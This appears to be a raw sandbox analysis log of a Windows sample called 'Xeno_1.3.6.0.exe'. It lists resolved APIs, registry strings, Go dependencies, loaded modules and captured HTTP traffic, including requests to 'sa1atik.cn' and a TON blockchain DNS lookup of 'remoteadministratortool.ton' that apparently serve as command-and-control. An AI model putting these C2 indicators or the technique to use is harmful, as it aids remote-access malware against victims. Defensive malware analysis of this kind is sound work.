(UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter WSAEnumProtocolsW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetMonitorInfoW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter EnumDisplaySettingsW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetCursorInfo (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetComputerNameExW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter bind (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter getsockname (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter FreeAddrInfoW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter getsockopt (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter WSARecvFrom (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter WSASendTo (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter Process32FirstW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter Process32NextW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetUserProfileDirectoryW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CLSIDFromProgID (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetUserDefaultLCID (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter VariantInit (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter SysAllocStringLen (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter SysFreeString (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter VariantClear (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetLastInputInfo (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetForegroundWindow (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetWindowTextLengthW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter GetWindowTextW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CancelIoEx (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter socket (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter getpeername (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CertCreateCertificateContext (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CertAddCertificateContextToStore (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00003500) "Xeno_1.3.6.0.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00003500)30:Tf8f,Found reference to API (Indicator: "RaiseFailFastException"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "WerSetFlags"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "SetErrorMode"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "WriteFile"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetErrorMode"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "VirtualQuery"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "CloseHandle"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "SetWaitableTimer"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "CreateThread"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetProcAddress"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "SwitchToThread"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetStdHandle"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "SetProcessPriorityBoost"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "TlsAlloc"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "ResumeThread"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "VirtualFree"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "ExitProcess"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "WerGetFlags"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "SuspendThread"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetThreadContext"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "SetEvent"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "CreateEventA"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "SetThreadContext"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "OpenFile"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "SetTimer"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "WSAIoctl"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "GetLength"; File: "Xeno_1.3.6.0.exe") Found reference to API (Indicator: "ShowWindow"; File: "Xeno_1.3.6.0.exe")31:Tc17,"\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp 00000000-00003500.00000001.166333.00843000.00000004.mdmp 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp 00000000-00003500.00000002.168253.00810000.00000004.mdmp 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp 00000000-00003500.00000002.168253.00810000.00000004.mdmp 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp 00000000-00003500.00000002.168253.00810000.00000004.mdmp 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp 00000000-00003500.00000002.168253.00810000.00000004.mdmp 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020404-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp 00000000-00003500.00000002.168253.00810000.00000004.mdmp 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp 00000000-00003500.00000002.168253.00810000.00000004.mdmp 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp 00000000-00003500.00000002.168253.00810000.00000004.mdmp 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp 00000000-00003500.00000002.168253.00810000.00000004.mdmp 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp32:T13bf,"\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020404-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00003500.00000000.164415.00810000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003500.00000001.166333.00843000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020404-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Path=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\W\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A47979D2-C419-11D9-A5B" in Source: 00000000-00003500.00000002.168253.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}" in Source: 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}" in Source: 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020404-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}" in Source: 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}" in Source: 00000000-00003500.00000003.173756.00810000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{F309AD18-D86A-11D0-A075-00C04FB68820}" in Source: 00000000-00003500.00000003.173756.00810000.00000004.mdmp33:T892,"dep github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=" (Indicator: "github.com") "dep github.com/andygrunwald/vdf v1.1.0 h1:gmstp0R7DOepIZvWoSJY97ix7QOrsxpGPU6KusKXqvw=" (Indicator: "github.com") "dep github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs=" (Indicator: "github.com") "dep github.com/capnspacehook/taskmaster v0.0.0-20210519235353-1629df7c85e9 h1:5jmtWADt5DzD8NnPxcqd1FzbFNZNfbJGNeDb+WKjoJ0=" (Indicator: "github.com") "dep github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=" (Indicator: "github.com") "dep github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=" (Indicator: "github.com") "dep github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=" (Indicator: "github.com") "dep github.com/ncruces/go-sqlite3 v0.23.0 h1:90j/ar8Ywu2AtsfDl5WhO9sgP/rNk76BcKGIzAHO8AQ=" (Indicator: "github.com") "dep github.com/ncruces/julianday v1.0.0 h1:fH0OKwa7NWvniGQtxdJRxAgkBMolni2BjDHaWTxqt7M=" (Indicator: "github.com") "dep github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=" (Indicator: "github.com") "dep github.com/quic-go/qpack v0.4.0 h1:Cr9BXA1sQS2SmDUWjSofMPNKmvF6IiIfDRmgU0w1ZCo=" (Indicator: "github.com") "dep github.com/quic-go/quic-go v0.38.1 h1:M36YWA5dEhEeT+slOu/SwMEucbYd0YFidxG3KlGPZaE=" (Indicator: "github.com") "dep github.com/rickb777/date v1.21.1 h1:tUcQS8riIRoYK5kUAv5aevllFEYUEk2x8OYDyoldOn4=" (Indicator: "github.com") "dep github.com/rickb777/plural v1.4.2 h1:Kl/syFGLFZ5EbuV8c9SVud8s5HI2HpCCtOMw2U1kS+A=" (Indicator: "github.com") "dep github.com/rodolfoag/gow32 v0.0.0-20230512144032-1e896a3c51aa h1:cd9mmDEXO4YxGYTbrhbfEt7btgUlcXFedTMoZ9fA4Ns=" (Indicator: "github.com") "dep github.com/tetratelabs/wazero v1.8.2 h1:yIgLR/b2bN31bjxwXHD8a3d+BogigR952csSDdLYEv4=" (Indicator: "github.com") "dep github.com/xssnick/tonutils-go v1.16.0 h1:MLYVZiiMB0Q+XudLo7WyjOli4gMuenNmJpBqETqa5DE=" (Indicator: "github.com") "dep github.com/yusufpapurcu/wmi v1.2.3 h1:E1ctvB7uKFMOJw3fdOW32DwGE9I7t++CRUEMKvFoFiw=" (Indicator: "github.com")34:Ta04,"GET /sa1at/ HTTP/1.1 Host: sa1atik.cn User-Agent: Go-http-client/1.1 Content-Length: 354 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 500 Internal Server Error Server: Angie Date: Tue 22 Sep 2026 02:26:43 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=KfEGDdVJam9XgY5E74eaADCVaOr420mxe7qndD1mT00OiU%2FZMfuEsF7Fo7bTezu5%2BzfWSEhEh2ig0TGAFshzbWBTJ61fCY%2FcyQS4tY2B%2Bod3z4gc%2F%2BHSNSDY4fTA"}]} CF-RAY: a3edddce295b2383-AMS alt-svc: h3=":443"; ma=86400 with no response body "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Tue 22 Sep 2026 02:26:48 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a3edddeedae9d84b-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D....... "GET /v2/dns/remoteadministratortool.ton/resolve HTTP/1.1 Host: tonapi.io User-Agent: Go-http-client/1.1 Content-Type: application/octet-stream Accept-Encoding: gzip" Response ==> HTTP/1.1 404 Not Found Date: Tue 22 Sep 2026 02:26:49 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: GET POST OPTIONS access-control-allow-headers: DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type Authorization X-Tonapi-Client X-Capability F Content-Encoding: gzip cf-cache-status: DYNAMIC vary: accept-encoding CF-RAY: a3edddf08f11cf23-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B226572726F72223A226E6F74207265736F6C7665643A2063616E277420756E6D61727368616C206E756C6C227D.......35:T9e3,"Xeno_1.3.6.0.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72810000 "Xeno_1.3.6.0.exe" loaded module "BCRYPTPRIMITIVES.DLL" at base 747c0000 "Xeno_1.3.6.0.exe" loaded module "NTDLL.DLL" at base 771d0000 "Xeno_1.3.6.0.exe" loaded module "WINMM.DLL" at base 727c0000 "Xeno_1.3.6.0.exe" loaded module "POWRPROF.DLL" at base 746a0000 "Xeno_1.3.6.0.exe" loaded module "KERNEL32.DLL" at base 76af0000 "Xeno_1.3.6.0.exe" loaded module "WS2_32.DLL" at base 76a80000 "Xeno_1.3.6.0.exe" loaded module "USER32.DLL" at base 76d60000 "Xeno_1.3.6.0.exe" loaded module "ADVAPI32.DLL" at base 765b0000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72a30000 "Xeno_1.3.6.0.exe" loaded module "IPHLPAPI.DLL" at base 73bb0000 "Xeno_1.3.6.0.exe" loaded module "RPCRT4.DLL" at base 746f0000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 72780000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 72730000 "Xeno_1.3.6.0.exe" loaded module "USERENV.DLL" at base 72700000 "Xeno_1.3.6.0.exe" loaded module "SECUR32.DLL" at base 726f0000 "Xeno_1.3.6.0.exe" loaded module "SSPICLI.DLL" at base 73bf0000 "Xeno_1.3.6.0.exe" loaded module "OLE32.DLL" at base 76080000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 737e0000 "Xeno_1.3.6.0.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76310000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 726b0000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 765b0000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 72630000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 76630000 "Xeno_1.3.6.0.exe" loaded module "OLEAUT32.DLL" at base 76630000 "Xeno_1.3.6.0.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 72580000 "Xeno_1.3.6.0.exe" 